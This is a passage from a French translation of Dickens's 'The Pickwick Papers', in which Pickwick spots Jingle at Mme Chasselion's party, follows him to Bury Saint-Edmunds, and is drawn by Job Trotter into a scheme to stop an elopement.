+Mme Chasselion. Vainement Mme Chasselion protesta qu'elle était tout à
+fait disposée à réciter son ode sur nouveaux frais; ses amis étaient
+trop polis, trop discrets, trop soigneux de sa santé, pour consentir à
+l'entendre encore, sous aucun prétexte. La salle des rafraîchissements
+fut donc ouverte, et tous ceux qui étaient déjà venus chez Mme
+Chasselion se précipitèrent en tumulte, pour y arriver les premiers. Ils
+savaient, en effet, que l'habitude de cette illustre dame était de faire
+faire un déjeuner pour cinquante et des invitations pour trois cents;
+ou, en d'autres termes, de nourrir les _lions_ les plus remarquables, et
+de laisser les petits animaux se tirer d'affaire comme ils pouvaient.
+
+«Où donc est monsieur Pott? demanda Mme Chasselion en s'occupant de
+placer les susdits lions autour d'elle.
+
+--Me voici! s'écria l'éditeur du bout le plus reculé de la chambre, hors
+de toute espérance de nourriture, à moins que son hôtesse ne fit quelque
+chose d'extraordinaire pour lui.
+
+--Voulez-vous venir par ici? lui cria-t-elle.
+
+--Oh! je vous en prie, ne vous tourmentez pas pour lui, interrompit Mme
+Pott de sa voix la plus obligeante. Vous vous donnez beaucoup trop de
+peine, madame Chasselion. Il est très-bien là-bas. N'est-ce pas, mon
+cher, que vous êtes très-bien là-bas?
+
+--Certainement, mon amour,» répliqua l'infortuné Pott avec un triste
+sourire. Hélas! à quoi lui servait son knout? Le bras nerveux qui le
+faisait tomber sur les hommes publics avec une vigueur gigantesque,
+était paralysé par un coup d'oeil de l'impérieuse Mme Pott.
+
+Mme Chasselion regarda autour d'elle avec triomphe. Le comte Smorltork
+était activement occupé à prendre note de ce que contenaient les plats;
+M. Tupman, avec plus de grâce que n'en avaient jamais déployé tous les
+brigands de l'Italie, faisait à diverses lionnes les honneurs d'une
+salade de homard; M. Snodgrass, ayant supplanté le jeune gentleman
+chargé des _éreintements_ dans la _Gazette d'Eatanswill_, était enfoncé
+dans une dissertation passionnée avec la jeune lady qui _faisait_ la
+poésie; et M. Pickwick, enfin, se rendait universellement agréable: rien
+ne semblait manquer à ce cercle choisi, lorsque M. Chasselion, dont le
+département, dans ces occasions, était de se tenir debout près de la
+porte, et de parler aux gens les moins importants, cria de toutes ses
+forces à Minerve:
+
+«Ma chère, voici M. Charles Fitz-Marshall.
+
+--Enfin! s'écria Mme Chasselion. Avec quelle anxiété je l'ai attendu!
+Messieurs, je vous prie, laissez passer M. Fitz-Marshall. Mon cher,
+dites à M. Fitz-Marshall de venir me trouver sur-le-champ, pour que je
+le gronde d'être arrivé si tard.
+
+--Voilà, ma chère dame, dit une voix claire. Aussi vite que
+possible,--foule étonnante,--chambre comble,--fort difficile
+d'approcher, très-difficile.»
+
+Le couteau et la fourchette de M. Pickwick lui tombèrent des mains. Il
+regarda M. Tupman, qui avait aussi laissé tomber sa fourchette et son
+couteau, et qui paraissait prêt à s'abîmer sous terre.
+
+«Ah!» s'écria la voix, tandis que son possesseur s'ouvrait un passage à
+travers une vingtaine de Turcs, d'officiers, de cavaliers et de Charles
+II, qui formaient une dernière barricade entre lui et la table.
+
+«Voilà mes vêtements tout cylindrés,--brevet d'invention,--pas un pli
+dans mon habit,--joliment pressé!--Pas besoin de faire repasser mon
+linge, ha! ha!--la bonne idée,--drôle de chose, malgré ça, de faire
+cylindrer son linge sur soi,--opération fatigante, très-fatigante.»
+
+En prononçant ces phrases brisées, un jeune homme, vêtu en officier de
+marine, parvint à s'approcher de la table, et présenta aux regards
+étonnés des pickwickiens la tournure et les traits identiques de M.
+Alfred Jingle.
+
+Il avait à peine eu le temps de prendre la main que lui tendait Mme
+Chasselion, lorsque ses yeux rencontrèrent les orbes indignés de M.
+Pickwick.
+
+«Tiens! tiens! s'écria le coupable; oublié,--pas d'ordre aux
+postillons,--j'y vais moi-même,--revenu dans un instant.
+
+--Le domestique, ou bien M. Chasselion, donnera vos ordres, monsieur
+Fitz-Marshall, dit la maîtresse de la maison.
+
+--Non! non!--moi-même, ne serai pas long,--revenu dans un clin d'oeil,»
+répliqua Jingle, et il disparut dans la foule.
+
+M. Pickwick se leva plein d'indignation.
+
+«Madame, dit-il, permettez-moi de vous demander qui est ce jeune homme,
+et où il réside?
+
+--C'est un gentleman d'une grande fortune, monsieur Pickwick, à qui je
+meurs d'envie de vous présenter. Le comte aussi sera enchanté de le
+connaître.
+
+--Oui, oui, comptez là-dessus, dit M. Pickwick avec vivacité. Il
+demeure?
+
+--A Bury, hôtel de l'Ange.
+
+--A Bury?
+
+--A Bury Saint-Edmunds, à quelques milles d'ici.... Mais, mon Dieu!
+monsieur Pickwick, vous n'allez pas nous quitter. Vous ne pouvez pas,
+monsieur Pickwick, songer à vous en aller sitôt.»
+
+Longtemps avant que Mme Chasselion eut prononcé ces paroles, M. Pickwick
+s'était plongé dans la foule et avait atteint le jardin. Il y fut
+bientôt rejoint par M. Tupman, qui l'avait suivi de près et qui lui dit:
+
+«Cela est inutile, il est parti.
+
+--Je le sais, répondit M. Pickwick, avec chaleur, et je le suivrai!
+
+--Vous le suivrez! Ou donc?
+
+--A Bury, hôtel de l'Ange. Comment savons-nous s'il n'abuse point
+quelqu'un dans cet endroit? Il a trompé une fois un digne homme, et nous
+en étions la cause innocente: cela n'arrivera plus, si je puis
+l'empêcher! Je veux le démasquer.--Sam! où est mon domestique?
+
+--Voilà! ici, monsieur, dit Sam, en sortant d'un endroit écarté, où il
+était occupé à examiner une bouteille de vin de Madère, qu'il avait
+enlevée sur la table une heure ou deux auparavant. Voilà vot' serviteur,
+monsieur, et fier du titre encore, comme disait au public l'esquelette
+vivant qu'on faisait voir pour trois pence.
+
+--Suivez-moi sur-le-champ! reprit M. Pickwick.--Tupman, si je reste à
+Bury, vous pourrez m'y rejoindre quand je vous écrirai. Jusque-là,
+adieu!»
+
+Les remontrances devenaient inutiles: M. Pickwick était animé, et sa
+résolution était prise. M. Tupman retourna vers ses compagnons, et, une
+heure après, il avait noyé tout souvenir de M. Alfred Jingle, ou de M.
+Charles Fitz-Marshall, au moyen d'une bouteille de vin de Champagne et
+d'une contredanse, également pétillantes.
+
+Pendant ce temps, M. Pickwick et Sam Weller, perchés à l'extérieur d'une
+voiture publique, voyaient de minute en minute diminuer la distance qui
+les séparait de la bonne ville de Bury Saint-Edmunds.
+
+
+
+
+CHAPITRE XVI.
+
+Trop plein d'aventures pour qu'on puisse les résumer brièvement.
+
+
+Il n'y a pas, dans toute l'année, de mois où la nature ait un plus joli
+visage que durant le mois d'août. Le printemps a bien des charmes, et
+mai, certainement, est frais et joli, et son éclat est rehaussé par le
+contraste des frimas qui viennent de finir. Août n'a pas de semblables
+avantages: lorsqu'il arrive, nos sens sont accoutumés à la pureté du
+ciel, au verdoiement des prairies, au parfum embaumé des fleurs; le
+brouillard, le givre, la neige et les glaces sont effacés de notre
+mémoire, comme de la surface de la terre. Et cependant, quelle saison
+charmante! Les champs, les vergers, sont animés par la voix, par la
+présence des travailleurs; les arbres, chargés de fruits, inclinent
+leurs branches jusqu'à terre; les blés, réunis en gerbes gracieuses ou
+se balançant au souffle du zéphir comme pour agacer la faucille,
+couvrent le paysage d'une teinte dorée; une douce langueur semble
+répandue sur toute la nature, et l'on dirait même que la molle influence
+de la saison s'étend jusque sur les charrettes dont l'oeil aperçoit le
+mouvement uniforme à travers les champs moissonnés, sans que l'oreille
+soit déchirée par aucun bruit inharmonieux.
+
+Pendant que la voiture publique roule rapidement à travers les champs et
+les vergers qui bordent la route, des groupes de femmes et d'enfants,
+empilant des fruits dans des corbeilles ou recueillant les épis de blé
+dispersés, suspendent un instant leur travail, abritent leurs visages
+brunis par le soleil avec une main plus brune encore, et suivent les
+voyageurs d'un regard curieux; quelque vigoureux bambin, trop jeune pour
+travailler, mais trop turbulent pour être laissé à la maison, se hisse
+sur le bord du grand panier où il a été emprisonné, et gigotte et
+braille avec délices; le moissonneur arrête sa faucille, se redresse,
+croise les bras et contemple la voiture qui passe auprès de lui comme un
+tourbillon; les lourds chevaux de son char rustique suivent l'attelage
+brillant et animé d'un regard endormi, qui dit aussi clairement que le
+peut dire un regard de cheval: «Tout cela est fort joli à regarder,
+mais marcher lentement dans une terre pesante vaut encore mieux, après
+tout, que de galoper si chaudement sur une route pleine de poussière!»
+Cependant les voyageurs volent, et, profitant d'un détour, jettent un
+dernier coup d'oeil derrière eux: les femmes et les enfants ont repris
+leur travail; le moissonneur s'est courbé de nouveau sur sa faucille;
+les chevaux de labour poursuivent leur marche mesurée; et tout se
+montre, comme tout à l'heure, plein de vie et de mouvement.
+
+Une semblable scène ne pouvait manquer d'influer sur l'esprit délicat et
+bien réglé de M. Pickwick. Préoccupé de la résolution qu'il avait formée
+de démasquer le véritable caractère de Jingle, en quelque lieu qu'il pût
+le découvrir, il était demeuré d'abord taciturne et rêveur,
+réfléchissant aux moyens qu'il devait employer pour réussir dans son
+projet; mais peu à peu son attention fut attirée par les objets
+environnants, et à la fin il y prit autant de plaisir que s'il avait
+entrepris ce voyage pour la cause la plus agréable du monde.
+
+«Délicieux paysage, Sam! dit-il à son domestique.
+
+--Enfonce les toits et les cheminées, monsieur, répondit celui-ci en
+touchant son chapeau.
+
+--En effet, reprit M. Pickwick avec un sourire, je suppose que vous
+n'avez guère vu, toute votre vie, que des toits et des cheminées, du
+mortier et des briques.
+
+--Je n'ai pas toujours été valet d'auberge, monsieur, répliqua Sam en
+secouant la tête. J'ai été autrefois garçon de roulier.
+
+--Quand cela?
+
+--Quand j'ai été jeté la tête la première dans le monde pour jouer à
+saute-mouton avec ses soucis. Donc, pour commencer, j'ai été garçon d'un
+charretier, et puis ensuite d'un roulier, et puis ensuite
+commissionnaire, et puis ensuite valet d'auberge. A présent v'là que je
+suis domestique d'un gentleman. Je serai peut-être un gentleman moi-même
+un de ces jours, avec ma pipe dans ma bouche et un berceau dans mon
+jardin. Qui sait? je n'en serais pas surpris, moi.
+
+--Vous êtes un véritable philosophe, Sam.
+
+--Je crois que ça court dans la famille, monsieur. Mon père est dans
+cette profession-là maintenant. Quand ma belle-mère le tarabuste, il se
+met à siffler; elle s'enlève comme une soupe au lait, et elle lui casse
+sa pipe: il s'en va pacifiquement, et il en rapporte une autre; alors
+elle braille tant qu'elle peut, et elle tombe dans des attaques de
+nerfs: il ne bouge pas, il fume confortablement jusqu'à ce qu'elle
+revienne. C'est ça de la philosophie, monsieur!...
+
+--Ou du moins un très-bon équivalent, répondit en riant M. Pickwick.
+Cela doit vous avoir été fort utile dans votre vie errante, Sam.
+
+--Utile, monsieur! vous pouvez bien le dire. Après que je me suis sauvé
+d'avec le charretier et avant que j'aie rentré avec le roulier, j'ai
+couché pendant une quinzaine dans un appartement sans meubles.
+
+--Un appartement sans meubles!
+
+--Oui, les arches à sec du pont de Waterloo. Jolie chambre à coucher; à
+dix minutes du centre des affaires. Seulement s'il y a quelque chose à
+lui reprocher, c'est qu'elle est un peu aérée. J'ai vu là des drôles de
+spectacles.
+
+--Ha! je le suppose, dit M. Pickwick d'un air plein d'intérêt.
+
+--Des spectacles qui perceraient votre tendre coeur, monsieur, et qui
+ressortiraient de l'autre côté. On n'y trouve pas les mendiants
+réguliers; vous pouvez vous fier à ceux-là pour savoir se tirer
+d'affaire. De jeunes mendiants, mâles et femelles, qui n'ont pas encore
+fait leur chemin dans la profession, s'y logent quelquefois; mais c'est
+généralement les pauvres créatures sans asile, éreintées, mourant de
+faim, qui se roulent dans les coins sombres de ces tristes places; les
+pauvres créatures qui ne peuvent pas se repasser la corde de deux pence.
+
+--Dites-moi, Sam, qu'est-ce que c'est que la corde de deux pence?
+
+--C'est une auberge, monsieur, où les lits coûtent deux pence par
+nuit....
+
+--Pourquoi donnent-ils aux lits le nom de _cordes_?
+
+--Que vous êtes donc jeune, monsieur! Quand les ladies et les gentlemen
+qui tiennent ces hôtels-là ont ouvert leur bazar, ils faisaient les lits
+sur le plancher, mais ils ne faisaient pas leurs affaires. Au lieu de
+prendre un somme raisonnable pour deux pence, les logeurs s'y vautraient
+la moitié de la journée. Aussi, maintenant, ils ont deux cordes,
+éloignées d'à peu près six pieds, et à trois pieds du plancher, qui vont
+tout du long de la chambre, et les lits sont faits avec des grosses
+toiles tendues en travers.
+
+--Eh bien?
+
+--Eh bien! l'avantage du plan est visible. Tous les matins, à six
+heures, ils laissent aller une des cordes, et patatra, v'là tous les
+logeurs par terre. Ça les réveille fameusement, ils se relèvent de bonne
+humeur, et ils s'en vont comme des jolis garçons.... Demande pardon,
+monsieur, dit Sam, en interrompant tout à coup son verbeux discours,
+c'est-il Bury Saint-Edmunds qu'est là-bas?
+
+--Précisément, répondit M. Pickwick.»
+
+Bientôt après la voiture roula dans les rues propres et bien pavées
+d'une jolie petite ville, et s'arrêta devant une auberge située au
+milieu de la grande route, presque en face de l'antique abbaye.
+
+«Voici l'Ange, dit M. Pickwick, en regardant l'enseigne. Nous descendons
+ici, Sam. Mais il faut prendre quelques précautions. Demandez une
+chambre particulière et ne mentionnez pas mon nom; vous comprenez.
+
+--Compris! monsieur,» répondit Sam, avec un clin d'oeil intelligent. Il
+tira le portemanteau du coffre de derrière, où il avait été jeté à
+Eatanswill, et disparut pour faire sa commission. Une chambre
+particulière fut facilement retenue, et M. Pickwick y fut introduit sans
+délai.
+
+«Maintenant, Sam, dit M. Pickwick, la première chose à faire....
+
+--C'est de commander le dîner, monsieur, suggéra Sam: il est fort tard,
+monsieur.
+
+--Ah! c'est vrai, répliqua le philosophe en regardant sa montre. Vous
+avez raison, Sam.
+
+--Et si c'était moi, monsieur, je voudrais prendre juste une bonne nuit
+de repos avant de demander des renseignements sur ce finaud. Il n'y a
+rien pour rafraîchir l'esprit comme un bon somme, monsieur, comme dit la
+servante avant d'avaler son petit verre de l'eau d'ânon.
+
+--Je crois que vous avez raison, Sam; mais je veux d'abord m'assurer
+qu'il est dans cet hôtel et qu'il ne m'échappera point.
+
+--Laissez-moi c'te affaire-là, monsieur. Je vas vous ordonner un joli
+petit dîner et faire une enquête en bas, pendant qu'on l'apprêtera. Je
+tirerai tous les secrets du décrotteur, en cinq minutes.
+
+--A la bonne heure,» dit M. Pickwick, et Sam se retira.
+
+Au bout d'une demi-heure M. Pickwick était assis devant un dîner
+très-satisfaisant, et un quart d'heure plus tard, Sam lui rapportait
+l'assurance que M. Charles Fitz-Marshall avait retenu, jusqu'à nouvel
+ordre, sa chambre particulière; il était allé passer la soirée dans une
+maison du voisinage, avait ordonné au garçon de l'attendre et avait
+emmené son domestique avec lui.
+
+«Maintenant, monsieur, continua Sam, après avoir fait son rapport, si je
+puis causer un brin avec ce domestique ici, il me contera toutes les
+affaires de son maître.
+
+--Comment savez-vous cela? demanda M. Pickwick.
+
+--Que vous êtes donc jeune monsieur! Tous les domestiques en font
+autant.
+
+--Oh! oh! fit le philosophe, j'avais oublié cela: c'est bon.
+
+--Alors, vous verrez ce qu'il y a de mieux à faire, monsieur, nous
+agirons en conséquence.»
+
+Comme cet arrangement paraissait le meilleur possible, il fut finalement
+adopté. Sam se retira, avec la permission de son maître, pour passer la
+soirée comme il l'entendrait. Il dirigea ses pas vers la buvette de la
+maison, et peu de temps après, fut élevé au fauteuil par la voix unanime
+de l'assemblée. Une fois parvenu à ce poste honorable, il fit éclater
+tant de mérite, que les éclats de rire des gentlemen habitués, et les
+marques bruyantes de leur satisfaction, parvinrent jusqu'à la chambre à
+coucher de M. Pickwick, et raccourcirent, de plus de trois heures, la
+durée naturelle de son sommeil.
+
+Le lendemain, dès le matin, Sam Weller s'occupa de calmer l'agitation
+fiévreuse qui lui restait de la veille, par l'application d'une douche
+d'un penny; c'est-à-dire que, moyennant cette pièce de monnaie, il
+engagea un jeune gentleman du département de l'écurie à faire jouer la
+pompe sur sa tête et sur sa face, jusqu'à l'entière restauration de ses
+facultés intellectuelles. Tandis qu'il subissait ce traitement médical,
+son attention fut attirée par un jeune homme, assis sur un banc, dans la
+cour. Il était vêtu d'une livrée violette, et lisait dans un livre
+d'hymnes, avec un air d'abstraction profonde, qui ne l'empêchait
+cependant pas de jeter de temps en temps un coup d'oeil vers Sam, comme
+s'il avait pris grand intérêt à l'opération qu'il se faisait faire.
+
+«Voilà un drôle de corps, pensa celui-ci, la première fois que ses yeux
+rencontrèrent ceux de l'étranger en livrée violette. Et, en effet, avec
+son pâle visage, large et plat, avec ses yeux enfoncés et sa tête
+énorme, d'où pendaient plusieurs mèches de cheveux noirs et lisses,
+l'étranger pouvait passer pour un drôle de corps. «Voilà un drôle de
+corps,» pensa donc Sam Weller, et après avoir pensé cela, il continua de
+se laver, et n'y pensa pas davantage.
+
+Cependant l'homme en livrée violette continuait à regarder Sam et son
+livre d'hymnes, son livre d'hymnes et Sam, comme s'il avait eu envie
+d'entamer la conversation. A la fin, pour lui en fournir l'occasion, Sam
+lui dit, avec un signe de tête familier: «Comment ça va-t-il, mon
+bonhomme?
+
+--Je suis heureux de pouvoir dire que je vais assez bien, monsieur,
+répondit l'homme violet d'une voix mesurée et en fermant son livre avec
+précaution. J'espère que vous allez de même, monsieur?
+
+--Eh! eh! je serais plus solide sur mes jambes si je ne me sentais pas
+comme une bouteille d'eau-de-vie ambulante; mais vous, mon vieux,
+restez-vous dans cette maison ici?»
+
+L'homme violet répondit affirmativement.
+
+«Comment se fait-il donc que vous n'étiez pas avec nous hier soir?
+demanda Sam, en se frottant la face avec un essuie-mains. Vous me faites
+l'effet d'un bon vivant, l'air aussi gaillard qu'une truite dans un
+panier plein de chaux, ajouta-t-il d'un ton un peu plus bas.
+
+--J'étais sorti avec mon maître, répondit l'étranger.
+
+--Comment s'appelle-t-il? demanda vivement Sam Weller, dont le visage
+devint tout rouge par l'effet combiné de la surprise et du frottement de
+son essuie-mains.
+
+--Fitz-Marshall, répliqua l'homme violet.
+
+--Donnez-moi la patte, dit Sam en s'avançant vers lui. J'ai envie de
+vous connaître, votre philosomie me va, mon fiston.
+
+--Eh bien! voilà qui est très-extraordinaire, rétorqua l'homme violet,
+avec une grande simplicité de manières. La vôtre m'a plus si fort, que
+j'ai eu envie de vous parler, dès le premier moment où je vous ai vu
+sous la pompe.
+
+--C'est-il vrai.
+
+--Sur mon honneur! Cela n'est-il pas curieux, hein?
+
+--Très-curieux, répondu Sam, en se congratulant intérieurement sur la
+bonhomie de l'étranger. Comment nous appelons-nous, mon patriarche?
+
+--Job.
+
+--Et c'est un fameux nom. Le seul nom, à ma connaissance, qui n'a pas
+reçu une abréviation. Et l'autre nom?
+
+--Trotter, dit l'étranger. Et le vôtre?»
+
+Sam se rappela les ordres de son maître et répondit: «Mon nom est
+Walker, le nom de mon maître est Wilkins. Voulez-vous prendre une goutte
+de quelque chose ce matin, M. Trotter?»
+
+M. Trotter donna son complet assentiment à cette agréable proposition,
+et ayant déposé son livre dans la poche de son habit, il accompagna M.
+Walker à la buvette. Là, ils s'occupèrent à discuter le mérite d'un
+agréable mélange, contenu dans un vase d'étain et composé de l'essence
+parfumée du clou de girofle et d'une certaine quantité de genièvre de
+Hollande, fabriqué en Angleterre.
+
+«Et c'est-il une bonne place que vous avez? demanda Sam, en remplissant
+pour la seconde fois le verre de son compagnon.
+
+--Mauvaise, répondit Job, en se léchant les lèvres, très-mauvaise.
+
+--Vrai?
+
+--Oui, sûr; et pire que cela; mon maître va se marier.
+
+--Pas possible!
+
+--Si, et pire que cela. Il va enlever une grosse héritière dans une
+pension.
+
+--Quel dragon! dit Sam, en remplissant encore le verre de son camarade.
+C'est quelque pension de cette ville, je suppose?»
+
+Cette question fut faite du ton le plus indifférent qu'on puisse
+imaginer. Cependant M. Job Trotter montra clairement, par ses manières,
+qu'il remarquait avec quelle anxiété son nouvel ami attendait sa
+réponse. Il vida son verre, regarda mystérieusement Sam Weller, cligna
+l'un après l'autre chacun de ses petits yeux, et finalement fit avec sa
+main le geste de manier une pompe imaginaire, donnant à entendre par là
+qu'il considérait son compagnon comme trop désireux de pomper ses
+secrets.
+
+«Non, non, observa-t-il, en conclusion. Cela ne se dit pas à tout le
+monde. C'est un secret; un grand secret, M. Walker.»
+
+En prononçant ces paroles, l'homme violet retourna son verre sens dessus
+dessous, afin de faire remarquer ingénieusement à son compagnon qu'il
+n'y restait plus rien pour assouvir sa soif. Sam comprit l'apologue; il
+en apprécia la délicatesse, et ordonna de remplir, sur nouveaux frais,
+le vase d'étain. Cet ordre fit briller de plaisir les petits yeux de
+l'homme violet.
+
+«Ainsi donc, c'est un secret? reprit Sam.
+
+--Je l'imagine comme cela, répliqua l'autre en sirotant sa liqueur avec
+complaisance.
+
+--Je suppose que votre maître est un richard?»
+
+M. Trotter sourit, et, tenant son verre de la main gauche, il donna,
+avec sa main droite, quatre tapes distinctes sur le gousset de sa
+culotte violette, comme pour faire entendre que son maître aurait pu
+agir de même sans alarmer personne par le bruit de son argent.
+
+«Ah! reprit Sam, voilà l'histoire?»
+
+L'homme violet baissa la tête d'une manière significative.
+
+«Et est-ce que vous n'imaginez pas, mon vieux, que vous seriez une
+fameuse canaille si vous laissiez votre maître empoigner cette jeune
+demoiselle?
+
+--Je sais cela, répliqua Job Trotter, en soupirant profondément et en
+tournant vers son interlocuteur un visage plein de contrition. Je sais
+cela, et c'est ce qui pèse sur mon esprit; mais qu'est-ce que je peux
+faire?
+
+--Faire? s'écria Sam, chanter à la maîtresse et enfoncer votre maître.
+
+--Qui est-ce qui me croirait? La jeune lady est regardée comme un modèle
+de prudence et de discrétion; elle dirait que non, et mon maître aussi.
+Qui est-ce qui me croirait? Je perdrais ma place et je me verrais
+poursuivi comme diffamateur ou quelque chose comme ça. Voilà tout ce que
+j'y gagnerais.
+
+--Il y a du vrai, dit Sam en ruminant; il y a du vrai dans ce que vous
+dites là.
+
+--Si je connaissais quelque respectable gentleman qui voulût se charger
+de l'affaire, je pourrais espérer d'empêcher l'enlèvement. Mais il y a
+la même difficulté, monsieur Walker; juste la même. Je ne connais pas de
+gentleman respectable en ce pays, et si j'en connaissais un, il y a dix
+à parier contre un qu'il ne croirait pas mon récit.
+
+--Venez par ici, cria Sam, en se levant tout d'un coup et en saisissant
+son compagnon par le bras. Mon maître est l'homme qu'il vous faut.»
+
+Après une légère résistance, Job Trotter fut conduit dans l'appartement
+de M. Pickwick, et lui fut présenté, avec un court sommaire du dialogue
+que nous venons de rapporter.
+
+«Je suis bien fâché de trahir mon maître, monsieur, dit Job Trotter, en
+appliquant à son oeil un mouchoir rouge d'environ trois pouces carrés.
+
+--Ce sentiment vous fait beaucoup d'honneur, répliqua M. Pickwick.
+Mais, cependant, c'est votre devoir....
+
+--Je sais que c'est mon devoir, monsieur, reprit Job avec une grande
+émotion. Nous devons tous nous efforcer de remplir nos devoirs,
+monsieur, et je m'efforce humblement de remplir les miens, monsieur.
+Mais c'est une dure épreuve de trahir un maître, monsieur, dont vous
+portez les habits, dont vous mangez le pain, même quand c'est un coquin,
+monsieur.
+
+--Vous êtes un brave garçon, dit M. Pickwick fort affecté, un honnête
+garçon.
+
+--Allons! allons! observa Sam, qui avait vu avec beaucoup d'impatience
+les larmes de M. Trotter; assez d'arrosage comme ça; ça n'est bon à
+rien.
+
+--Sam, reprit M. Pickwick d'un ton de reproche, je suis fâché de voir
+que vous ayez si peu de respect pour les sentiments de ce jeune homme.
+
+--Ses sentiments sont très-beaux, monsieur, et mêmes si beaux que c'est
+une pitié qu'il les perde comme ça; et je pense qu'il ferait mieux de
+les garder dans son estomac que de les laisser évaporiser en eau chaude,
+espécialement comme ça ne sert à rien. Des larmes, ça n'a jamais servi à
+remonter une horloge ni à faire marcher une machine. La première fois
+que vous irez dans le monde, fourrez-vous ça dans la caboche, mon vieux;
+et pour le présent introduisez ce morceau de guingamp rouge dans votre
+poche. Il n'est pas assez beau pour le secouer comme ça en l'air, comme
+si vous étiez un danseur de corde.
+
+--Sam a raison, remarqua M. Pickwick, en s'adressant à Job: Sam a
+raison, quoique sa manière de s'exprimer soit un peu commune et
+quelquefois incompréhensible.
+
+--Il a tout à fait raison, monsieur, répliqua M. Trotter, et je ne
+céderai pas davantage à cette faiblesse.
+
+--Très-bien, reprit notre sage; et maintenant, où est cette pension de
+demoiselles?
+
+--C'est une vieille maison de briques rouges, tout juste en dehors de la
+ville, monsieur.
+
+--Et quand ce perfide dessein sera-t-il exécuté? Quand est-ce que
+l'enlèvement doit avoir lieu?
+
+--Cette nuit, monsieur.
+
+--Cette nuit?
+
+--Cette nuit même, monsieur. C'est ce qui me fâche tant.
+
+--Il faut prendre des mesures instantanées. Je vais voir immédiatement
+la dame qui dirige l'établissement.
+
+--Je vous demande pardon, monsieur, mais cela ne servira à rien.
+
+--Pourquoi donc?
+
+--Mon maître, monsieur, est un homme très-artificieux.
+
+--Je le sais bien.
+
+--Et il s'est si bien entortillé autour du coeur de la vieille dame
+qu'elle ne croirait rien à son préjudice, quand vous en feriez serment
+sur vos deux genoux. D'ailleurs vous n'avez pas d'autre preuve que la
+parole d'un domestique; mon maître ne manquera pas de dire qu'il m'a
+renvoyé pour quelque chose, et que je fais cela afin de me venger.
+
+--Qu'est-ce que nous pourrions donc faire, alors?
+
+--Rien ne pourra convaincre la vieille dame, monsieur, si elle ne le
+prend pas sur le fait de l'enlèvement.
+
+--Ces vieilles mules-là, interposa Sam, en guise de parenthèse, ces
+vieilles mules-là, s'obstinent à prendre des vessies pour des lanternes.
+
+--Mais, fit observer M. Pickwick, j'ai peur qu'il ne soit infiniment
+difficile de le prendre sur le fait.
+
+--Je ne sais pas, monsieur, répondit Job après un instant de réflexion;
+il me semble que cela pourrait se faire très-aisément.
+
+--Comment cela?
+
+--Voyez-vous, mon maître a gagné les deux servantes, et elles doivent
+nous introduire dans la cuisine, ce soir, à dix heures. Quand toute la
+maison se sera retirée pour dormir, nous sortirons de la cuisine, et
+alors la jeune personne descendra de sa chambre; il y aura une chaise de
+poste, et en route!
+
+--Eh bien? fit M. Pickwick.
+
+--Eh bien! monsieur; je crois que si vous nous attendiez dans le jardin,
+tout seul....
+
+--Tout seul! Pourquoi tout seul?
+
+--Je pensais que la vieille demoiselle n'aimerait pas qu'une découverte
+aussi désagréable se fît devant beaucoup de monde; et puis la jeune
+lady, monsieur, considérez sa confusion!...
+
+--Vous avez tout à fait raison. Cette réflexion montre une grande
+délicatesse de sentiments. Poursuivez; vous avez raison....
+
+--Eh bien! monsieur; je pensais donc que si vous attendiez tout seul
+dans le jardin, je pourrais vous introduire dans la maison, à onze
+heures et demie précises, et qu'alors vous vous trouveriez juste à temps
+pour m'aider à démonter les projets de ce méchant homme, par qui j'ai eu
+le malheur d'être séduit.»
+
+Ici. M. Trotter soupira profondément.
+
+«Ne vous tourmentez pas de cela, dit M. Pickwick; s'il avait un grain de
+la probité qui vous distingue, malgré votre humble condition, je ne
+désespérerais pas de lui.»
+
+Job salua très-bas, et, en dépit des précédentes remontrances de Sam,
+ses yeux se remplirent de larmes.
+
+«Je n'ai jamais vu un pleurard comme ça, dit Sam. Dieu me pardonne, s'il
+n'a pas un robinet toujours ouvert dans la tête!
+
+--Sam! dit M. Pickwick avec une grande sévérité, retenez votre langue.
+
+--Oui, monsieur.
+
+--Je n'aime pas ce plan, poursuivit notre philosophe après une profonde
+méditation. Pourquoi ne pas communiquer avec les amis de la jeune
+personne?
+
+--Parce qu'ils habitent à cinquante lieues d'ici, monsieur.
+
+--Il n'y a rien à répondre à ça, remarqua Sam, à part.
+
+--Ensuite, ce jardin, reprit M. Pickwick, comment y entrerai-je?
+
+--Le mur est très-bas, monsieur, et votre domestique vous fera la courte
+échelle.
+
+--Mon domestique me fera la courte échelle, répéta machinalement M.
+Pickwick, et vous ne manquerez pas de m'ouvrir la porte de la maison?...
+
+--Vous ne pouvez pas vous tromper, monsieur. Il n'y a qu'une porte dans
+le jardin; tapez-y quand vous entendrez sonner l'horloge, et je vous
+ouvrirai sur-le-champ.
+
+--Je n'aime pas ce plan, redit M. Pickwick; mais il faut bien l'adopter,
+car je n'en vois pas d'autre, et il s'agit du bonheur de cette jeune
+personne, pour toute sa vie. J'y irai, soyez-en sûr.»
+
+Ainsi, pour la seconde fois, la bonté naturelle de M. Pickwick
+l'entraîna dans une entreprise, dont son excellent jugement l'aurait
+détourné.
+
+«Comment s'appelle la maison? demanda-t-il.
+
+--Westgate-House, monsieur. Vous tournez un peu à droite quand vous
+arrivez au bout de la ville; la maison est isolée, à une petite distance
+de la route, et son nom est sur une plaque de cuivre, sur la porte.
+
+--Je le sais répondit M. Pickwick; j'avais remarqué cette maison la
+première fois que j'ai visité cette ville. Vous pouvez compter sur moi.»
+
+M. Trotter salua et se détourna pour partir. M. Pickwick lui mit une
+gainée dans la main.
+
+«Vous êtes un brave garçon, lui dit-il, et j'admire la bonté de votre
+coeur. Pas de remercîments. Souvenez-vous: onze heures et demie.
+
+--Il n'y a pas de danger que je l'oublie, monsieur, répondit Job
+Trotter, et il quitta la chambre.
+
+--Camarade, lui dit Sam, qui l'avait suivi, ce n'est pas une mauvaise
+chose, cette pleurnicherie. Je voudrais pleurer comme une gouttière dans
+une averse, à ce prix-là. Comment donc que vous faites?
+
+--Cela vient du coeur, monsieur Walker, répondit Job solennellement. Je
+vous souhaite le bonjour.
+
+--Voilà un gaillard facile à émouvoir, pensa Sam Weller en le voyant
+s'éloigner. C'est égal, nous lui avons tiré les vers du nez, toujours.»
+
+Nous ne pouvons pas dire précisément quelles étaient les pensées qui
+occupaient l'esprit de M. Trotter, attendu que nous n'en savons rien du
+tout.
+
+Cependant le jour s'écoula, le soir vint, et, un peu avant dix heures,
+Sam rapporta à son maître que M. Jingle et Job étaient sortis ensemble,
+que leurs bagages étaient empaquetés, et qu'ils avaient commandé une
+chaise. Le complot était évidemment en voie d'exécution, comme M.
+Trotter l'avait prédit.
+
+Dix heures et demie arrivèrent. C'était l'instant où M. Pickwick devait
+partir pour sa délicate entreprise. Afin de ne pas être embarrassé pour
